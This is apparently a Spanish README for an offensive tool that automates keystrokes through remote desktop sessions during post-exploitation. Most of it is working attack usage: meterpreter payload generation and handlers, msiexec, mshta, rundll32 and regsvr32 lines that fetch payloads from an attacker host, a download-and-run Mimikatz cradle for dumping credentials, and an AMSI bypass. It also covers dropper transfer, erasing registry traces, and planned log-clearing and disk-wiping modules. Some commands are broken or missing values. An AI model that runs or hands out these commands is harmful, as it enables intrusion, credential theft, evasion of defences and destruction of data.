
Un script para automatizar pulsaciones de teclas a través de un programa de escritorio gráfico.
Un script para automatizar pulsaciones de teclado a través de una sesión activa de escritorio remoto que asiste a operadores ofensivos en combinación con técnicas de living off the land. Todo el crédito va para nopernik por hacerlo posible, así que tomé la iniciativa de mejorarlo. Quería algo que ayude durante la fase de post-explotación al ejecutar comandos a través de un escritorio remoto. También fue posible para hacer el proyecto SCPA para la recolección de recursos de manera organizada.
Instale el resto de las dependencias según su package mananger.``` $ sudo apt install -y xfreerdp-x11 remmina xdotool
$ sudo dnf install -y xdotool freerdp-2 remmina
$ sudo pacman -S freerdp remmina xdotool
$ sudo emerge xwayland freerdp remmina xdotool
$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina
### Configuración
Instala el programa en el sistema y crea `rks` como un enlace simbólico de `remotekeystrokes`. Esto se usará como un alias de comando.```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks
$ remotekeystrokes -h Usage: remotekeystrokes
Flags:
COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute
-p, --platform <operating_system> Specify the operating system ("windows" is
set by default if not specified)
-w, --windowname <window_name> Specify the window name to focus on the
active window ("freerdp" is set by default
if not specified)
-h, --help Display this help message
UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer
METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"
-s, --submethod <submethod> Specify a submethod from a method (applies
with -m flag)
-a, --action <action> Specify an action from a method and/or
submethod (applies with -m and/or -s flag)
-e, --evasion <evasion> Specify an evasion method for uploading files
(only works for "pwshb64")
## Uso
### 0x00 - Autenticación Remota
#### Leyendas
- El signo de dólar (`$`) indica un prompt de shell Unix con permisos de usuario normal, e incluye comandos.
- Los corchetes angulares (`<>`) significan parámetros obligatorios.
- Los corchetes cuadrados (`[]`) significan parámetros opcionales si no se requiere especificarlos.
#### RDP
Para autenticar sistemas operativos modernos, especifique la bandera ya sea para forzar la autenticación como TLS `/sec:tls` o la autenticación como NLA `/sec:nla`.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]
Para autenticar sistemas operativos heredados, especifique el flag /sec:rdp para forzar la autenticación antigua.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]
#### VNC
Para autenticar remotamente una máquina VNC.```
$ remmina -c vnc://<username>:<password>@<IP>
$ ssh [-p ] @
#### Telnet```
$ telnet <IP> [PORT]
Para usar remotekeystrokes (o un alias de comando rks) al ejecutar comandos en el objetivo Windows con sesión remota autenticada. Antes de ejecutarlos, debe navegar con un nombre de ventana (-w); por defecto buscará FreeRDP cuando se use xfreerdp. Al apuntar a sistemas con un programa de inicio de sesión remoto diferente, asegúrese de especificar el nombre de la ventana. Especifique la bandera -c para emitir comandos. También puede preparar un archivo de texto para insertar comandos y los leerá uno por uno. La bandera verificará si es una cadena o un archivo.
Para programas de escritorio remoto gráficos como FreeRDP, Remmina y otros programas de terceros. A diferencia de las sesiones de terminal remota como telnet y ssh. Debe navegar el cursor a una aplicación activa dentro de la máquina objetivo. Por ejemplo, en un entorno Windows, debe abrir un símbolo del sistema (cmd.exe) o PowerShell (powershell.exe). Es posible que Windows abra programas con un cuadro de diálogo (-m dialogbox) para un inicio rápido. Asegúrese de eliminar los rastros de la entrada de registro cuando ejecutó inicialmente con el método. Se encuentra en HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Verá ejemplos de cómo podrá realizar medidas ofensivas rápidas con solo técnicas Living off the Land (LotL).
Enumeración de la máquina local.``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!
Para ejecutar en un solo comando. Esto es conciso especialmente cuando se usa con un cuadro de diálogo.```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
Enumeración de Active Directory.``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!
Para ejecutar en un solo comando. Esto es conciso especialmente cuando se usa con un cuadro de diálogo.```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
Enumeración de la máquina local (TODO)``` $ cat recon_local_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_local_enum_cmdlets.txt
Enumeración de Active Directory (TODO)```
$ cat recon_ad_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_ad_enum_cmdlets.txt
Ejecuta el payload mientras lee el contenido del powershell.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o payload.ps1
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ rks -c "powershell.exe" -m dialogbox
$ rks -c payload.ps1
Ejecuta un payload de PowerShell en una sola línea usando el módulo de explotación `metasploit-framework` `exploit/multi/script/web_delivery`.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "cmd.exe" -m dialogbox
$ rks -c "powershell.exe -nop -w hidden -e <base64_payload>"
Ejecuta el payload con msiexec.exe mientras alojas un servidor web.```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f msi -o payload.msi
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ sudo python -m http.server 80
$ rks -c "msiexec /quiet /qn /i http://<attacker_IP>/payload.msi" -m dialogbox
Ejecute el payload con `mshta.exe` usando el módulo de exploit `metasploit-framework` `exploit/windows/misc/hta_server`.```
$ sudo msfconsole -qx "use exploit/windows/misc/hta_server; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvhost <server_IP>; set srvport <server_PORT> run"
$ rks -c "mshta.exe http://<attacker_IP>:<attacker_PORT>/payload.hta" -m dialogbox
Ejecuta el payload con rundll32.exe usando el módulo de exploit exploit/windows/smb/smb_delivery de metasploit-framework.```
$ sudo msfconsole -qx "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set file_name payload.dll; set share staging; run"
$ rks -c "rundll32.exe \<attacker_IP>\staging\payload.dll,0" -m dialogbox
Ejecuta el payload con `regsvr32.exe` usando `metasploit-framework` el módulo de explotación `exploit/multi/script/web_delivery`.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 3; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "regsvr32 /s /n /u /i://http://<attacker_IP>:<attacker_PORT>/payload.sct scrobj.dll" -m dialogbox
Ejecutar e implantar con python utilizando el módulo de exploit exploit/multi/script/web_delivery de metasploit-framework.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 0; set payload python/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "python -c """
### 0x03 - Transferencia de Archivos
Hay 11 métodos de transferencia de archivos en total.
| Método | Plataforma | Descripción |
| -------------- | ------------------ | ----------- |
| `pwshb64` | Windows y Linux | Codifica el archivo en base64 y luego lo decodifica con powershell. |
| `cmdb64` | Windows | Usa `copy con` para generar el contenido del archivo codificado en base64 y luego lo decodifica con `CertUtil.exe`. |
| `nixb64` | Unix | Decodifica contenido base64 en un archivo. |
| `outfile` | Windows y Linux | Usa el cmdlet `Out-File` para generar el archivo de texto. |
| `outfileb64` | Windows | Usa el cmdlet `Out-File` para generar el contenido del archivo codificado en base64 y luego lo decodifica con `CertUtil.exe`. |
| `copycon` | Windows | Usa el comando `copy con` para generar el archivo de texto. |
| `pwshhex` | Windows y Linux | Codifica el archivo en hexadecimal y luego lo decodifica con powershell. |
| `cmdhex` | Windows | Genera una línea única codificada en hexadecimal en una variable y luego la decodifica con `CertUtil.exe`. |
| `copyconhex` | Windows | Usa `copy con` para generar el contenido del archivo volcado en hexadecimal y luego lo decodifica con `CertUtil.exe`. |
| `nixhex` | Unix | Genera una línea única codificada en hexadecimal en una variable y luego la decodifica con `echo -e` para interpretar el carácter de secuencia `\x`. Esto es adecuado cuando se trabaja con dispositivos IoT, especialmente cuando Telnet carece de una función para transferir archivos. |
| `outfilehex` | Windows | Usa el cmdlet `Out-File` para generar el contenido del archivo volcado en hexadecimal y luego lo decodifica con `CertUtil.exe`. |
Sube un archivo de forma remota al hacer pivote en una red aislada. Si deseas especificar la ruta remota en Windows, asegúrate de incluir comillas. Por defecto, utiliza Powershell base64 para transferir archivos si no se especifica lo contrario. Esto también incluye descargadores incluso si el tamaño es grande. Ten en cuenta que la transferencia de archivos tomará tiempo en completarse.```
$ rks -c "powershell.exe" -m dialogbox
$ rks -i Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m pwshb64
[*] Transferring file...
[+] File transferred!
Para transferir droppers puedes usar CertUtil.exe base64 especialmente si es grande.```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport=8443 -f exe -o payload.exe
Para transferir droppers con PowerShell mediante `CertUtil.exe` en base64.```
$ rks -c "powershell.exe" -m dialogbox
$ rks -i payload.exe -o payload.exe -m outfileb64
También es posible que los sistemas operativos heredados transfieran archivos como, Windows XP que carece de powershell excepto por el símbolo del sistema.``` $ rks -c "cmd.exe" -m dialogbox
$ rks -i payload.exe -o payload.exe -m cmdb64
Activa tu listener C2 y ejecuta el payload.```
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp set lhost <IP>; set lport 8443; run"
$ rks -c ".\payload.exe"
Otra forma de transferir archivos especialmente para herramientas de administración de sistemas y ofensivas. Tomemos PsExec64.exe como ejemplo que nos requiere para movimiento lateral. Llevará mucho tiempo subir mediante texto sin interrupción. En su lugar, la forma más rápida es montar el WebDAV que pertenece al sitio web legítimo del conjunto de herramientas de sysinternals (live.sysinternals.com). En lugar de usar el explorador de archivos, que es mucho más lento que ejecutar comandos. Aquí están los comandos para el símbolo del sistema.```
$ cat commands.txt
net use z: \live.sysinternals.com\tools
copy z:\PsExec64.exe .
net use z: /delete
$ rks -c "cmd.exe" -m dialogbox
$ rks -c commands.txt
Aquí hay otra variante para los cmdlets de PowerShell al transferir `PsExec64.exe` en Windows.```
$ cat cmdlets.txt
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\live.sysinternals.com\tools"
Copy-Item z:\PsExec64.exe .
Remove-PSDrive -Name Z
$ rks -c "powershell.exe" -m dialogbox
$ rks -c cmdlets.txt
La mejor manera de recuperar malware sin archivos o herramientas ofensivas a través de powershell es simplemente alojando/recuperando sitios web legítimos como https://github.com y ejecutándolo. Usemos Invoke-Mimikatz para recuperar credenciales descargando y ejecutando el cradle de nishang.```
$ cat hashdump.txt
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
$ rks -c "powershell.exe" -m dialogbox
$ rks -c hashdump.txt
Si tienes archivos grandes y es casi imposible esperar a que finalice la transferencia de archivos. `xfreerdp` permite montar un directorio local con la bandera `/drive:/path/to/directory/`. Luego navega en el explorador de archivos o en el símbolo del sistema hasta `\\tsclient\<share_name>\` para ver el contenido.```
$ mkdir Tools
$ cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe Tools/
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | rdp | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>] /drive:Tools
$ rks -c "cmd.exe" -m dialogbox
$ rks -c "dir \\tsclient\<share_name>\"
Nota: WIP (Trabajo en Progreso)``` $ rks -m elevate -s bypassuac -a info
$ rks -m elevate -s <sub_method>
### 0x05 - Persistencia
Nota: WIP (Trabajo en Progreso)```
$ rks -m persistence -s createuser
$ rks -m persistence -s sethc
Nota: WIP (Trabajo en Progreso)
Puede combinar AMSI Bypass con el powershell implant para eludir Windows Security o cualquier solución de seguridad que esté integrada con el escáner AMSI.``` $ cat amsi_bypass.ps1 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$ cat amsi_bypass.ps1 implant.ps1 > payload.ps1
$ rks -c "powershell.exe" -m dialogbox
$ rks -c payload.ps1
### Autores y Descripción: <!-- -->```
$ rks -m antiforensics -s wevutils
$ rks -m antiforensics -s winevent
$ rks -m antiforensics -s eventvwr
Nota: WIP (Trabajo en Progreso)``` $ rks -m mayhem -s diskpart -a info
$ rks -m mayhem -s diskpart -a cmd
$ rks -m mayhem -s diskpart -a pwsh
### 0x08 - Especificar nombre de ventana.
Si está atacando VNC, Telnet u otros protocolos de red, puede especificar el nombre de la ventana. Esto es útil cuando se usa `remmina` u otra instancia de terminal con una ventana renombrada.```
$ rks -c implant.ps1 -w <window_name>
Es dolorosamente lento cuando escribo manualmente con mi teclado o navego y hago clic con mi ratón, especialmente fuera de la red local. Solo quiero acelerar el proceso, especialmente al infiltrarme en la red.
No necesariamente. Lo hice posible para consolas remotas como Telnet, ya que carece de una función para transferir archivos.
Las técnicas son comunes y pueden reutilizarse para BadUSB, desarrollo de malware o cualquier otro proyecto relacionado. Está bajo la licencia copyleft GNU GPLv3 que te permite, como usuario, tener el derecho de ver cómo funciona el programa, modificar el código fuente según tus necesidades y redistribuirlo a otros usuarios junto con el código fuente.
wayland?Por el momento no hay herramientas wayland compatibles para encontrar una alternativa o un reemplazo para xdotool. dotool es muy prometedor pero carece de una característica específica para enfocar ventanas. kdotool solo está disponible para entornos de escritorio KDE. Puede que tenga que reinventarlo en Go (ya que dotool existe) o Python con la biblioteca pynput.
Al ejecutar el programa por primera vez, debería mostrar algunos mensajes autoexplicativos. Cambie al servidor de ventanas x11. Consulte las FAQ sobre por qué wayland no es compatible.```
$ rks -c "powershell.exe" -m searchbox
[ERROR] Wayland isn't supported!
[*] Terminating program...
### Desinstalar Herramienta Ofensiva
Para desinstalarla.```
$ sudo rm -f /usr/local/bin/remotekeystrokes /usr/local/bin/rks
Implementar método de cifrado AES256 mediante base64
Implementar el resto de métodos de carga: Base32, Base2, Base10, Base8
Implementar función privesc para windows y linux
Implementar una función de persistencia para windows y linux.
Implementar función de antiforense para windows y linux.
Implementar función mayhem para windows y linux.
Es tu responsabilidad, dependiendo de la causa de tus acciones, usuario. Recuerda que un gran poder conlleva una gran responsabilidad.